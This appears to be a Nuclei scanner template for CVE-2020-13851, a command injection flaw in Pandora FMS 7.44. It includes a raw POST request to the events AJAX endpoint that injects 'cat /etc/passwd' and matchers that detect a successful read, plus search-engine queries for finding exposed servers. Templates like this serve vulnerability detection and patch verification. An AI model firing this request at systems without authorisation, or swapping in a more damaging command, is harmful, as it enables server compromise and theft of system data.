id: CVE-2020-13851

info:
  name: Artica Pandora FMS 7.44 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Artica Pandora FMS 7.44 allows remote command execution via the events feature.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via the events feature, leading to complete server compromise and access to all monitoring data.
  remediation: |
    Upgrade to Pandora FMS version 7.45 or later, or apply vendor-provided security patches.
  reference:
    - https://packetstormsecurity.com/files/158390/Pandora-FMS-7.0-NG-7XX-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13851
    - https://www.coresecurity.com/advisories
    - https://github.com/hadrian3689/pandorafms_7.44
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-13851
    cwe-id: CWE-78
    epss-score: 0.91095
    epss-percentile: 0.99795
    cpe: cpe:2.3:a:pandorafms:pandora_fms:7.44:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: pandorafms
    product: pandora_fms
    shodan-query:
      - title:"Pandora FMS"
      - http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve2020,cve,packetstorm,rce,pandora,unauth,artica,pandorafms,vuln,vkev

http:
  - raw:
      - |
        POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - "text/html"
          - "PHPSESSID="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bf185bbe7c01875ce56e05f287f3a523ba86800217eac5228bc5e7d578edb49002207b6e17927e57adf2b0acea02aa3249d72ebb506e9c663bf6765a066599f48cb6:922c64590222798bb761d5b6d8e72950